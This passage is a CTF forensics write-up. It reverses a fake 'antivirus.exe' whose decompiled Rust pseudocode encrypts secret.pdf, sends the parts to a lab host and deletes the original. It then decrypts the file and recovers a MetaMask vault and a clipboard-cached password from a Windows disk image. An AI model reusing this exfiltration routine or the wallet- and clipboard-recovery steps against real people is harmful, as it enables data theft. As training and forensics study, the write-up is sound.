---
title: Update Required - Compfest 17 CTF 2025 Qualifier
description:
---
### TL;DR

### Challenge Description
>"A researcher in Mondstadt’s tech division received an urgent-looking HTML file, claiming to be a critical security patch. Trusting its source, they executed antivirus.exe and moments later, a secret PDF file disappeared.
>
>The PDF contained a confidential override PIN tied to the Vision Distribution Network. To protect it, the researcher locked the PDF with their wallet’s seed phrase (exported from a Chrome extension), joined with an underscore (_) as the password.
>
>Although the wallet vault file remains on disk, the password to unlock it has since been lost. Fortunately, there’s a lead: the researcher once copied the vault password to clipboard."
Attachment :
- 1 [Evidence](https://drive.google.com/drive/folders/1R1psX7e04W1aJXFHK_WbNkRt5ukFXOlc?usp=sharing)
- password : soalinigasusahkokxixixixi
### Initial Analysis
We're given an AD1 and a pcap file. Based on the challenge description, the `secret.pdf` is erased from the disk, so let's focus on the pcap file first, the beginning of everything in this challenge.

From the summary of protocol hierarchy on [wireshark](https://www.wireshark.org/) above, we could see that most of the traffic are TCP. moreover, around 91% of it accounts to HTTP (media-type data). This mean we can rest assured for the time being, as exfiltrating data from HTTP is fairly easy.

on the pcap file, we could find a particularly interesting `GET` HTTP request to `/antivirus.exe`. If we follow the TCP/HTTP stream of that packet, we could see all of the `antivirus.exe` data being transported from `192.168.129.92`. Thus, it's safe to say that our investigation progress is aligned with the challenge description.
### Extracting the malware from TCP data
As i've said before, extracting data from HTTP (TCP transport) is fairly easy. The idea is to extract `tcp.data` for every packet that's coming from `192.168.129.92` to `192.168.129.37` where packet number is after `GET /antivirus.exe` and before `HTTP 200 OK`.
##### malware_extractor.py
```python
from scapy.all import rdpcap, TCP, Raw
PCAP_FILE = "chall.pcap"
OUTPUT_FILE = "antivirus.safe"
CLIENT_IP = "192.168.129.137"
SERVER_IP = "192.168.129.92"
REQUEST_PATH = b"GET /antivirus.exe"
def extract_exe_from_pcap():
packets = rdpcap(PCAP_FILE)
collecting = False
stream_data = b""
for pkt in packets:
if TCP in pkt and Raw in pkt:
ip_src = pkt[0][1].src
ip_dst = pkt[0][1].dst
payload = bytes(pkt[Raw].load)
# Detect GET request
if ip_src == CLIENT_IP and ip_dst == SERVER_IP and payload.startswith(REQUEST_PATH):
print("[+] Found GET request for antivirus.exe")
collecting = True
continue
# Collect server response after GET
if collecting and ip_src == SERVER_IP and ip_dst == CLIENT_IP:
stream_data += payload
# Now parse the HTTP response headers and cut them off
header_end = stream_data.find(b"\r\n\r\n")
if header_end == -1:
print("[-] No HTTP headers found in stream!")
return
headers = stream_data[:header_end].decode(errors="ignore")
body = stream_data[header_end + 4 :]
if "200 OK" not in headers:
print("[-] No HTTP 200 OK response, maybe wrong filter?")
return
with open(OUTPUT_FILE, "wb") as f:
f.write(body)
print(f"[+] Extracted EXE written to {OUTPUT_FILE}")
if __name__ == "__main__":
extract_exe_from_pcap()
```
Now we can move onto the next step.
### Reversing the rust-based encryptor malware
Before dissasembling the binary and actually doing the reverse, i tried to `strings` the .exe and find interesting strings, `secret.pdf`, `aes 192`, and `192.168.129.92`. This'll be helpful when finding `XREF` location in IDA.
#### Dissasmbling and Reversing phase
As i mentioned, the strings we got before is very useful to quickly understand what the malware does. After opening IDA, i searched for "secret.pdf" and found the XREF which then brings me to our `main()` function.
>Double clicking the `XREF` linking will bring us to the reference
>

Below is `main()` pseudocode i got from IDA.
```rust
void __cdecl ransom::main()
{
alloc::vec::Vec<alloc::vec::Vec<u8,alloc::alloc::Global>,alloc::alloc::Global> *v0; // rdx
__alloc::vec::Vec<u8,alloc::alloc::Global>_ *v1; // rax
_str *v2; // rdx
alloc::vec::Vec<alloc::vec::Vec<u8,alloc::alloc::Global>,alloc::alloc::Global> v3; // [rsp+40h] [rbp-38h] BYREF
const char *v4; // [rsp+58h] [rbp-20h]
__int64 v5; // [rsp+60h] [rbp-18h]
v4 = filepath;
v5 = 10;
ransom::encrypt_file_and_split(&v3, (_str *)filepath);
v1 = <alloc::vec::Vec<T,A> as core::ops::deref::Deref>::deref((__alloc::vec::Vec<u8,alloc::alloc::Global>_ *)&v3, v0);
ransom::send_parts(v1, v2, (u16)port);
ransom::destroy_original((_str *)filepath);
core::ptr::drop_in_place<alloc::vec::Vec<alloc::vec::Vec<u8>>>(&v3);
}
```
Yuck, rust.
It's actually cumbersome (and tedious) to fully understand this rust binary, but from the high-level code above we can assume that all the malware does are these:
1. encrypting the file
2. splitting them onto parts
3. sending those enc parts to somewhere
4. destroying the original file.
Also, if we try to folow the `filepath`, it links to data 'secret.pdf'. now it's all starting to make sense doesn't it?

#### Reversing encryption (encrypt_file_and_split)
```rust
alloc::vec::Vec<alloc::vec::Vec<u8,alloc::alloc::Global>,alloc::alloc::Global> *__cdecl ransom::encrypt_file_and_split(
alloc::vec::Vec<alloc::vec::Vec<u8,alloc::alloc::Global>,alloc::alloc::Global> *__return_ptr retstr,
_str *filepath)
{
_str *v2; // r8
core::result::Result<std::fs::File,std::io::error::Error> *v3; // rax
_str *v4; // rdx
core::result::Result<usize,std::io::error::Error> *v5; // rax
_str *v6; // rdx
alloc::vec::Vec<u8,alloc::alloc::Global> *v7; // rdx
__u8_ *v8; // rax
__int64 v9; // rdx
__u8_ *v10; // rax
__u8_ *v11; // rax
__u8_ *v12; // rax
alloc::vec::Vec<u8,alloc::alloc::Global> *v14; // [rsp+30h] [rbp-768h]
usize v15; // [rsp+78h] [rbp-720h]
_str *path; // [rsp+D8h] [rbp-6C0h]
__u8_ v20; // [rsp+E0h] [rbp-6B8h] BYREF
__int128 v21; // [rsp+F0h] [rbp-6A8h]
__u8__16___u8__16_) v22; // [rsp+100h] [rbp-698h] BYREF
std::fs::File v23; // [rsp+120h] [rbp-678h] BYREF
alloc::vec::Vec<u8,alloc::alloc::Global> v24; // [rsp+128h] [rbp-670h] BYREF
_BYTE v25[720]; // [rsp+140h] [rbp-658h] BYREF
core::result::Result<block_modes::cbc::Cbc<aes::autodetect::Aes128,block_padding::Pkcs7>,block_modes::errors::InvalidKeyIvLength> v26; // [rsp+410h] [rbp-388h] BYREF
alloc::vec::Vec<u8,alloc::alloc::Global> v27; // [rsp+6F0h] [rbp-A8h] BYREF
alloc::vec::Vec<u8,alloc::alloc::Global> (*v28)[3]; // [rsp+708h] [rbp-90h]
alloc::vec::Vec<u8,alloc::alloc::Global> v29; // [rsp+710h] [rbp-88h] BYREF
alloc::vec::Vec<u8,alloc::alloc::Global> v30; // [rsp+728h] [rbp-70h] BYREF
alloc::vec::Vec<u8,alloc::alloc::Global> v31; // [rsp+740h] [rbp-58h] BYREF
_str *v32; // [rsp+758h] [rbp-40h]
_str *v33; // [rsp+760h] [rbp-38h]
usize v34; // [rsp+778h] [rbp-20h]
char v35; // [rsp+787h] [rbp-11h] BYREF
path = v2;
v32 = filepath;
v33 = v2;
ransom::generate_key_iv(&v22);
v20 = *(__u8_ *)v22.__0;
v21 = *(_OWORD *)v22.__1;
v3 = std::fs::File::open((core::result::Result<std::fs::File,std::io::error::Error> *)filepath, path);
v23.inner.handle.__0.handle = core::result::Result<T,E>::expect(v3, v4).inner.handle.__0.handle;
alloc::vec::Vec<T>::new(&v24);
v5 = (core::result::Result<usize,std::io::error::Error> *)<std::fs::File as std::io::Read>::read_to_end(&v23, &v24);
core::result::Result<T,E>::expect(v5, v6);
block_modes::traits::BlockMode::new_from_slices(&v26, &v20, (__u8_ *)0x10);
if ( (v26.gap0[0] & 1) != 0 )
core::result::unwrap_failed(
(unsigned int)aCalledResultUn,
43,
(unsigned int)&v35,
(unsigned int)&block_modes::errors::InvalidKeyIvLength_as_core::fmt::Debug_::_vtable_,
(__int64)&off_7FF6A1962038);
memcpy(v25, &v26.gap0[16], sizeof(v25));
v8 = <alloc::vec::Vec<T,A> as core::ops::deref::Deref>::deref((__u8_ *)&v24, v7);
block_modes::traits::BlockMode::encrypt_vec(&v27, v25, v8, v9, 16);
v15 = alloc::vec::Vec<T,A>::len(&v27) / 3;
v34 = v15;
v28 = (alloc::vec::Vec<u8,alloc::alloc::Global> (*)[3])alloc::alloc::exchange_malloc(0x48u, 8u);
v10 = <alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index(
(__u8_ *)&v27,
(alloc::vec::Vec<u8,alloc::alloc::Global> *)v15,
(core::ops::range::RangeTo<usize>)&index);
alloc::slice::<impl [T]>::to_vec(&v29, v10);
if ( !is_mul_ok(2u, v15) )
core::panicking::panic_const::panic_const_mul_overflow(&off_7FF6A1962068, (2 * (unsigned __int128)v15) >> 64);
v11 = <alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index(
(__u8_ *)&v27,
(alloc::vec::Vec<u8,alloc::alloc::Global> *)v15,
(core::ops::range::Range<usize> *)(2 * v15));
alloc::slice::<impl [T]>::to_vec(&v30, v11);
if ( !is_mul_ok(2u, v15) )
core::panicking::panic_const::panic_const_mul_overflow(&off_7FF6A1962098, (2 * (unsigned __int128)v15) >> 64);
v12 = <alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index(
(__u8_ *)&v27,
(alloc::vec::Vec<u8,alloc::alloc::Global> *)(2 * v15),
(core::ops::range::RangeFrom<usize>)&stru_7FF6A19620B0);
alloc::slice::<impl [T]>::to_vec(&v31, v12);
v14 = (alloc::vec::Vec<u8,alloc::alloc::Global> *)v28;
if ( ((unsigned __int8)v28 & 7) != 0 )
core::panicking::panic_misaligned_pointer_dereference(
8,
(alloc::vec::Vec<u8,alloc::alloc::Global> *)v28,
&off_7FF6A19620C8);
if ( !v28 )
core::panicking::panic_null_pointer_dereference(&off_7FF6A19620C8);
*(alloc::vec::Vec<u8,alloc::alloc::Global> *)v28 = v29;
v14[1] = v30;
v14[2] = v31;
alloc::slice::<impl [T]>::into_vec(
retstr,
(alloc::boxed::Box<[alloc::vec::Vec<u8,alloc::alloc::Global>],alloc::alloc::Global> *)v28);
core::ptr::drop_in_place<alloc::vec::Vec<u8>>(&v27);
core::ptr::drop_in_place<alloc::vec::Vec<u8>>(&v24);
core::ptr::drop_in_place<std::fs::File>(&v23);
return retstr;
}
```
There's just too many rustacean sh*ts haha...
in this function, there are 2 interesting function calls :
- `generate_key_iv`
- `block_modes::traits::BlockMode::new_from_slices`

```rust
ransom::generate_key_iv(&v22);
v20 = *(__u8_ *)v22.__0;
v21 = *(_OWORD *)v22.__1;
.
.
.
block_modes::traits::BlockMode::new_from_slices(&v26, &v20, (__u8_ *)0x10);
```
If we take a look at the explanation 'tooltip' from IDA, the malware uses `AES-128 CBC` encryption scheme. and the `BlockMode::new_from_slices` takes up 3 arguments :
1. the 'place' to store the result
2. key
3. iv
Referring to the snippet, we can see that `v20` is passed as the 2nd arg of the function. But the 3rd argument somehow is unrecognizable. `(__u8_ *)0x10` doesn't mean nothing in this case.
Well, since we know that the 3rd argument is the IV, and we know that (from the snippet)`generate_key_iv` return values are stored in `v20` and `v21` respectively, we can assume that `generate_key_iv` return 2 values `key` and `iv`.
At this point let's just assume that `v21` is passed as the IV, since it's kind of stupid if the IV isn't used anywhere in the code.
#### generate_key_iv
```rust
__u8__16___u8__16_) *__cdecl ransom::generate_key_iv(__u8__16___u8__16_) *__return_ptr retstr)
{
usize v1; // r8
unsigned __int64 v2; // rdx
__u8__16___u8__16_) *result; // rax
__u8_ *slice; // [rsp+40h] [rbp-218h]
digest::core_api::wrapper::CoreWrapper<digest::core_api::ct_variable::CtVariableCoreWrapper<sha2::core_api::Sha256VarCore,typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UTerm,typenum::bit::B1>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,sha2::OidSha256>> self; // [rsp+58h] [rbp-200h] BYREF
generic_array::GenericArray<u8,typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UTerm,typenum::bit::B1>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>> v8; // [rsp+C8h] [rbp-190h] BYREF
digest::core_api::wrapper::CoreWrapper<digest::core_api::ct_variable::CtVariableCoreWrapper<sha2::core_api::Sha256VarCore,typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UTerm,typenum::bit::B1>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,sha2::OidSha256>> v9; // [rsp+E8h] [rbp-170h] BYREF
__int64 v10; // [rsp+15Fh] [rbp-F9h]
__int64 v11; // [rsp+167h] [rbp-F1h]
core::result::Result<[u8_ 16],core::array::TryFromSliceError> v12; // [rsp+16Fh] [rbp-E9h] BYREF
md5::Digest v13; // [rsp+180h] [rbp-D8h] BYREF
_mut__u8_ v14; // [rsp+190h] [rbp-C8h] BYREF
_mut__u8_ v15; // [rsp+1A0h] [rbp-B8h]
const u8 *v16; // [rsp+1B0h] [rbp-A8h]
const u8 *v17; // [rsp+1B8h] [rbp-A0h]
__u8_ *v18; // [rsp+1C0h] [rbp-98h]
unsigned __int64 v19; // [rsp+1C8h] [rbp-90h]
__int64 v20; // [rsp+1D0h] [rbp-88h]
__int64 v21; // [rsp+1D8h] [rbp-80h]
__u8_ *v22; // [rsp+1E0h] [rbp-78h]
unsigned __int64 v23; // [rsp+1E8h] [rbp-70h]
__int64 v24; // [rsp+1F0h] [rbp-68h]
__int64 v25; // [rsp+1F8h] [rbp-60h]
__int64 v26; // [rsp+200h] [rbp-58h]
__int64 v27; // [rsp+208h] [rbp-50h]
__u8_ *v28; // [rsp+210h] [rbp-48h]
unsigned __int64 v29; // [rsp+218h] [rbp-40h]
__int64 v30; // [rsp+220h] [rbp-38h]
__int64 v31; // [rsp+228h] [rbp-30h]
__int64 v32; // [rsp+230h] [rbp-28h]
char v33; // [rsp+23Fh] [rbp-19h] BYREF
generic_array::GenericArray<u8,typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UTerm,typenum::bit::B1>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>> *v34; // [rsp+250h] [rbp-8h]
v16 = data;
v17 = &data[14];
<D as digest::digest::Digest>::new(&self);
<D as digest::digest::Digest>::update(&self, (u8 (*)[13])&data[14]);
<D as digest::digest::Digest>::update(&self, (u8 (*)[14])data);
memcpy(&v9, &self, sizeof(v9));
<D as digest::digest::Digest>::finalize(&v8, &v9);
v34 = &v8;
slice = core::slice::raw::from_raw_parts((__u8_ *)&v8, (u8 *)0x20, v1);
v18 = slice;
v19 = v2;
v20 = 16;
v21 = 16;
v22 = slice;
v23 = v2;
v26 = 0;
v27 = 16;
v28 = slice;
v29 = v2;
v30 = 16;
v31 = 0;
v25 = 16;
v24 = 1;
v32 = 16;
if ( v2 < 0x10 )
core::slice::index::slice_end_index_len_fail(16, v2, &off_7FF6A1961FA8);
core::array::<impl core::convert::TryFrom<&[T]> for [T; N]>::try_from(&v12, slice);
if ( (v12.gap0[0] & 1) != 0 )
core::result::unwrap_failed(
(unsigned int)aCalledResultUn,
43,
(unsigned int)&v33,
(unsigned int)&core::array::TryFromSliceError_as_core::fmt::Debug_::_vtable_,
(__int64)&off_7FF6A1961FC0);
v10 = *(_QWORD *)&v12.gap0[1];
v11 = *(_QWORD *)&v12.gap0[9];
md5::compute(&v13, (u8 (*)[13])&data[14]);
v14 = (_mut__u8_)v13;
core::slice::<impl [T]>::reverse(&v14);
result = retstr;
v15 = v14;
*(_QWORD *)retstr->__0 = v10;
*(_QWORD *)&retstr->__0[8] = v11;
*(_mut__u8_ *)retstr->__1 = v15;
return result;
}
```
There are 2 different flow here, key generation and iv generation.
##### key generation
```rust
v16 = data;
v17 = &data[14];
<D as digest::digest::Digest>::new(&self);
<D as digest::digest::Digest>::update(&self, (u8 (*)[13])&data[14]);
<D as digest::digest::Digest>::update(&self, (u8 (*)[14])data);
memcpy(&v9, &self, sizeof(v9));
<D as digest::digest::Digest>::finalize(&v8, &v9);
```
key generation starts from the snippet above. if we follow the XREF data, it will show us the string

the string `Mondstadt4EverKleeLovesBoom` is assigned onto a 2 different variables. we assume that due to the size that exceeds 8 bytes, so it ought to store as 2 8-byte value, variable `v16` and `v17`.
This string will then be hashed and assigned as the first return value of the function
```rust
slice = core::slice::raw::from_raw_parts((__u8_ *)&v8, (u8 *)0x20, v1);
.
.
core::array::<impl core::convert::TryFrom<&[T]> for [T; N]>::try_from(&v12, slice);
.
.
v10 = *(_QWORD *)&v12.gap0[1];
v11 = *(_QWORD *)&v12.gap0[9];
.
.
*(_QWORD *)retstr->__0 = v10;
*(_QWORD *)&retstr->__0[8] = v11
```

Based on the IDA explanation 'tooltip', apparently it uses 256sha hashing algorithm. well, since we don't really know if it's true, we can use breakpoint and run the binary to check the stack value.
In this case, we get `41 67 84 6E 30 A1 6F 4D 0F 85 91 8A 8E D6 74 62` as the value, so it's our key.
##### iv generation
```rust
md5::compute(&v13, (u8 (*)[13])&data[14]);
v14 = (_mut__u8_)v13;
core::slice::<impl [T]>::reverse(&v14);
v15 = v14;
*(_mut__u8_ *)retstr->__1 = v15;
```
As for iv generation, it's a lot more simpler. the binary takes a half of the `Mondstadt4EverKleeLovesBoom` string, hash it using md5 and reverse the hashstring. finally, it's assgined as the 2nd return value for the function.
Again, using the same method as 'key', aster using breakpoint we get `F4 E9 A1 04 31 13 D9 87 C4 2A F4 77 2C 9F 7E CD` as the value
#### send_parts
```rust
ransom::encrypt_file_and_split(&v3, (_str *)filepath);
v1 = <alloc::vec::Vec<T,A> as core::ops::deref::Deref>::deref((__alloc::vec::Vec<u8,alloc::alloc::Global>_ *)&v3, v0);
ransom::send_parts(v1, v2, (u16)port);
```
The encrypted data `secret.pdf` then is passed as the argument of `send_parts`.
```rust
// local variable allocation has failed, the output may be wrong!
void __cdecl ransom::send_parts(__alloc::vec::Vec<u8,alloc::alloc::Global>_ *parts, _str *host, u16 port)
{
usize v3; // r9
core::iter::adapters::enumerate::Enumerate<core::slice::iter::Iter<alloc::vec::Vec<u8,alloc::alloc::Global>>> *v4; // rdx
__u8_ *v5; // rdx
alloc::string::String *v6; // rdx
core::result::Result<std::net::tcp::TcpStream,std::io::error::Error> *v7; // rax
_str *v8; // rdx
alloc::vec::Vec<u8,alloc::alloc::Global> *v9; // rdx
__u8_ *v10; // rax
core::result::Result<(),std::io::error::Error> v11; // [rsp+28h] [rbp-1F0h]
__u8_ *v12; // [rsp+58h] [rbp-1C0h]
core::option::Option<(usize,&alloc::vec::Vec<u8,alloc::alloc::Global>)> *v13; // [rsp+60h] [rbp-1B8h]
core::slice::iter::Iter<alloc::vec::Vec<u8,alloc::alloc::Global>> *self; // [rsp+70h] [rbp-1A8h]
_str x; // [rsp+78h] [rbp-1A0h] BYREF
core::iter::adapters::enumerate::Enumerate<core::slice::iter::Iter<alloc::vec::Vec<u8,alloc::alloc::Global>>> v16; // [rsp+88h] [rbp-190h] BYREF
core::iter::adapters::enumerate::Enumerate<core::slice::iter::Iter<alloc::vec::Vec<u8,alloc::alloc::Global>>> v17; // [rsp+A0h] [rbp-178h] BYREF
core::option::Option<(usize,&alloc::vec::Vec<u8,alloc::alloc::Global>)> iter; // [rsp+B8h] [rbp-160h] BYREF
usize count; // [rsp+C8h] [rbp-150h]
core::option::Option<(usize,&alloc::vec::Vec<u8,alloc::alloc::Global>)> *v20; // [rsp+D0h] [rbp-148h]
__u8_ *v21; // [rsp+D8h] [rbp-140h]
alloc::string::String v22; // [rsp+E0h] [rbp-138h] BYREF
alloc::string::String v23; // [rsp+F8h] [rbp-120h] BYREF
core::fmt::Arguments_0 v24; // [rsp+110h] [rbp-108h] BYREF
core::fmt::rt::Argument args[2]; // [rsp+140h] [rbp-D8h] BYREF
core::fmt::rt::Argument v26; // [rsp+160h] [rbp-B8h] BYREF
core::fmt::rt::Argument v27; // [rsp+170h] [rbp-A8h] BYREF
core::fmt::Arguments v28; // [rsp+180h] [rbp-98h] BYREF
core::fmt::rt::Argument v29[1]; // [rsp+1B0h] [rbp-68h] BYREF
core::fmt::rt::Argument v30; // [rsp+1C8h] [rbp-50h] BYREF
usize v31; // [rsp+1D8h] [rbp-40h] BYREF
std::net::tcp::TcpStream v32; // [rsp+1E0h] [rbp-38h] BYREF
__alloc::vec::Vec<u8,alloc::alloc::Global>_ *v33; // [rsp+1E8h] [rbp-30h]
_str *v34; // [rsp+1F0h] [rbp-28h]
core::option::Option<(usize,&alloc::vec::Vec<u8,alloc::alloc::Global>)> *v35; // [rsp+1F8h] [rbp-20h]
__u8_ *v36; // [rsp+200h] [rbp-18h]
u16 v37[44]; // [rsp+240h] [rbp+28h] BYREF
x.data_ptr = (u8 *)port;
x.length = v3;
v33 = parts;
v34 = host;
self = core::slice::<impl [T]>::iter(
(core::slice::iter::Iter<alloc::vec::Vec<u8,alloc::alloc::Global>> *)parts,
(__alloc::vec::Vec<u8,alloc::alloc::Global>_ *)host);
core::iter::traits::iterator::Iterator::enumerate(&v17, self);
<I as core::iter::traits::collect::IntoIterator>::into_iter(&v16, &v17);
iter = (core::option::Option<(usize,&alloc::vec::Vec<u8,alloc::alloc::Global>)>)v16.iter;
count = v16.count;
while ( 1 )
{
v20 = <core::iter::adapters::enumerate::Enumerate<I> as core::iter::traits::iterator::Iterator>::next(&iter, v4);
v21 = v5;
if ( !v5 )
break;
v13 = v20;
v35 = v20;
v12 = v21;
v36 = v21;
core::fmt::rt::Argument::new_display(&v26, &x);
core::fmt::rt::Argument::new_display(&v27, v37);
args[0] = v26;
args[1] = v27;
core::fmt::Arguments::new_v1(&v24, (_str (*)[2])pieces, (core::fmt::rt::Argument (*)[2])args);
alloc::fmt::format(&v23, (core::fmt::Arguments *)&v24);
v22 = v23;
if ( v13 == (core::option::Option<(usize,&alloc::vec::Vec<u8,alloc::alloc::Global>)> *)-1LL )
core::panicking::panic_const::panic_const_add_overflow(&off_7FF6A1962140);
v31 = (usize)&v13->gap0[1];
core::fmt::rt::Argument::new_display(&v30, &v31);
v29[0] = v30;
core::fmt::Arguments::new_v1(&v28, (_str (*)[2])off_7FF6A1962120, (core::fmt::rt::Argument (*)[1])v29);
std::io::stdio::_print(&v28);
v7 = std::net::tcp::TcpStream::connect(
(core::result::Result<std::net::tcp::TcpStream,std::io::error::Error> *)&v22,
v6);
v32.__0.inner.__0.socket.__0 = core::result::Result<T,E>::expect(v7, v8).__0.inner.__0.socket.__0;
v10 = <alloc::vec::Vec<T,A> as core::ops::deref::Deref>::deref(v12, v9);
v11 = std::io::Write::write_all(&v32, v10);
core::result::Result<T,E>::expect(v11, (_str *)msg);
core::ptr::drop_in_place<std::net::tcp::TcpStream>(&v32);
core::ptr::drop_in_place<alloc::string::String>(&v22);
}
}
```
> Sigh, this is too cumbersome... :moyai:
I couldn't really understand whats going on in this function, but since it's trying to open a TCP connection, we can assume that it's trying to enumerate all of the encrypted data chunks and send it to a remote connection.
unfortunately though, the `host` argument can't be recognized by IDA, so we ought to do some guessing. In the beginning we have 1 IP string `192.168.129.92`, we can assume this is the remote whom the malware communicates to.
### Recovering secret.pdf
We already have the encryption scheme, key and iv used. All that's left is getting the encrypted data itself. We know that the malware sent the encrypted data to the remote, therefore it must've been recorded in the pcap file.
#### Recovering the encrypted data

If you see the red rectangles, notice that there are 3 pairs of SYN and FIN packets. SYN packet means there's a new communication trying to establish a TCP connection. Also, if you see the yellow rectangles, notice there are chunks of data being sent and they all have the same pattern (size) for each TCP connection (session). Also, notice that the `ip.dst` address is `192.168.129.92`. Yes, this is the communication of when the malware sent the encrypted pdf data. Again, recovering data from TCP data is fairly easy, we only need to get packets with (`[ACK]` OR `[PSH]`) AND has tcp raw data.
##### parse_encrypted_pdf.py
```python
from scapy.all import rdpcap, Raw
PCAP_FILE = "chall.pcap"
OUTPUT_FILE = "secret.pdf.enc"
# List of packet indices to extract (0-based)
TARGET_PACKETS = [2959, 2961, 2963, 2970, 2972, 2978, 2977, 2981, 2985]
def extract_specific_packets():
packets = rdpcap(PCAP_FILE)
data = b""
for idx in TARGET_PACKETS:
pkt = packets[idx]
if Raw in pkt:
data += bytes(pkt[Raw].load)
else:
print(f"[-] Packet {idx + 1} has no Raw payload")
with open(OUTPUT_FILE, "wb") as f:
f.write(data)
print(f"[+] Extracted data from packets {', '.join(str(p+1) for p in TARGET_PACKETS)} to {OUTPUT_FILE}")
if __name__ == "__main__":
extract_specific_packets()
```
#### Decrypting the secret.pdf.enc
Now we've got the encrypted data, key, and iv. solving this problem is trivial
##### decrypt_pdf_enc.py
```python
from Crypto.Cipher import AES
ENC_FILE = "secret.pdf.enc"
DEC_FILE = "secret.pdf"
KEY = bytes.fromhex("41 67 84 6E 30 A1 6F 4D 0F 85 91 8A 8E D6 74 62") # 16-byte AES key
IV = bytes.fromhex("F4 E9 A1 04 31 13 D9 87 C4 2A F4 77 2C 9F 7E CD") # 16-byte IV
def decrypt_aes_cbc():
with open(ENC_FILE, "rb") as f:
ciphertext = f.read()
cipher = AES.new(KEY, AES.MODE_CBC, IV)
plaintext = cipher.decrypt(ciphertext)
# Remove PKCS#7 padding
pad_len = plaintext[-1]
plaintext = plaintext[:-pad_len]
with open(DEC_FILE, "wb") as f:
f.write(plaintext)
print(f"[+] Decrypted file saved to {DEC_FILE}")
if __name__ == "__main__":
decrypt_aes_cbc()
```
### Recovering secret.pdf password
Based on the description, the `secret.pdf` password is certain wallet's seed phrase joined by "_". Also, the description stated that certain extension is used as the wallet. Ok, this means we have to get the extension 1st to understand the detail.
#### Recovering Wallet's vault data
In windows, chrome extenstions ares stored under `C:\Users\<YourUsername>\AppData\Local\Google\Chrome\User Data\Default\Extensions`. After exploring abit, we found the manifest.json for the wallet, turned out it's metamask.

Knowing this very useful. It's well known that metamask stores tha vault under `C:\Users\<YourUsername>\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings` and yup, we could see it in 1 of the log file there.

```json
{
"data":"iymrE4iNbMe68o5eg5q87KtRLVOqtK2cj3s0GRPgyJuGNyKInZtmLp9rAxy6tgNp5aHjumle/TlU9IHZ1A59ziZ9MRNMqlBSZNIRJuhJiFad//X125aKypNfiR797aKeTXMWhx3IjOUdloFib8a/1Utg4vDVs/09QNIuaNB1F7jaoOFbq/9TJYa4lEXuVKjN3zGF7mZ7tUc68IbpSp3gGw5o/pX3ihtteAK1UeFGzCnMhxtImTae3bEIoR8w5Ck0yuyfZdt8oO/jjUcxTXV6sgJguqxkQsWt3S4izm3VRLizfrRqpbr/vQyVFOtfL7SxylaWaRUcbw+xSrtHwLyPsxP6BIybJjuPBuuS6SV6Zfxgwz3SHvNWHxwLHZP011jeahRX0fN53Vj91X4O1cAkTXYj+5qrjSownlcZOWCWg589dInVeLAxgGi5XrTV9r6A6y3e8diQAlSkVXkIEbe5nsUf/55lc/qWD3NbMFFI7HgeITeWnCTsJ0IGOCyLhwCWHl9ZqhAsOh/FjA1AIAYXhGU/xO6V/Js47ILSHHOPGbSmvY1oJiJ61mpZZjSHEnialCpxKhrAk0aiEq2gUsh200aYRBeecznabt5+zSAdN6mr2ThUelYgTe7vaSpIGvXvItWb7r1VFpqDwYbAuJBCz+mVKZAMNojEUtudPHCSnGElrCw4r4JZPQi8Q0f8Ibpb/3SRUa/cw0PlmtyaYbEY5Xc7qikdNHMtd1QOF5tDyofaRkKzuaYCySeGOB28zSyN0BRagbAN",
"iv":"XdiwaJ4SDbtDCK9zkxgJ6A==",
"keyMetadata":{
"algorithm":"PBKDF2",
"params":{
"iterations":600000
}
},
"salt":"d0m0kTp3az079GbowRiRtAVORc3wHNLbXJ9llvFkTKo="
}
```
#### Recovering vault's password
The challenge description mentions that the password was once copied to the clipboard. Interestingly (TIL), windows also store clipboard data in a storage (aside from memory or RAM).
According to this [source](https://www.inversecos.com/2022/05/how-to-perform-clipboard-forensics.html), apparently we could restore clipboard data from `C:\Users\<YourUsername>\AppData\Local\ConnectedDevicesPlatform\<UserProfile>\ActivitiesCache.db` as we can see below.

We can then decode all of the `clipboardPayload` to find the passowrd greedily
##### decode_clipboard.py
```python
import json
import base64
# Paste your data here as a list of dictionaries
data = [
{"content": "d2hhdCBpcyB0aGlzcw==", "formatName": "Text"},
{"content": "amlyIGJpc2Ega2VyZW4=", "formatName": "Text"},
{"content": "aG1tbQ==", "formatName": "Text"},
{"content": "bWF1IG55YXJpIHBhc3N3b3JkbnlhIHlhIGJhbmdnIA==", "formatName": "Text"},
{"content": "ZGkgY29weWFuIHNsYW5qdXRueWEgeWEgcGFzc3dvcmRueWE=", "formatName": "Text"},
{"content": "cGFzc3dvcmQ6Li4uLi4uLg0KDQpiZXJjYW5kYSBiYW5n", "formatName": "Text"},
{"content": "aW5pIHlnIGJuZXINCg0KDQoNCnBhc3N3b3JkIDogbTBuZHN0YWR0YzF0eTBmRnIzM2RvbQ==", "formatName": "Text"},
{"content": "aW5pIHlnIGJuZXINCg0KDQoNCnBhc3N3b3JkIDogbTBuZHN0YWR0YzF0eTBmRnIzM2RvbQ==", "formatName": "Text"},
{"content": "a29uZ3JldHNzIGRpa2l0IGxhZ2kgYmlzYSBzb2xwIG5paA==", "formatName": "Text"},
{"content": "Z2c=", "formatName": "Text"},
{"content": "Z2c=", "formatName": "Text"},
{"content": "QzpcVXNlcnNcYWxiM2RcQXBwRGF0YVxMb2NhbFxNaWNyb3NvZnRcV2luZG93c0FwcHNc", "formatName": "Text"},
{"content": "QzpcVXNlcnNcYWxiM2RcQXBwRGF0YVxMb2NhbFxNaWNyb3NvZnRcV2luZG93c0FwcHM=", "formatName": "Text"},
{
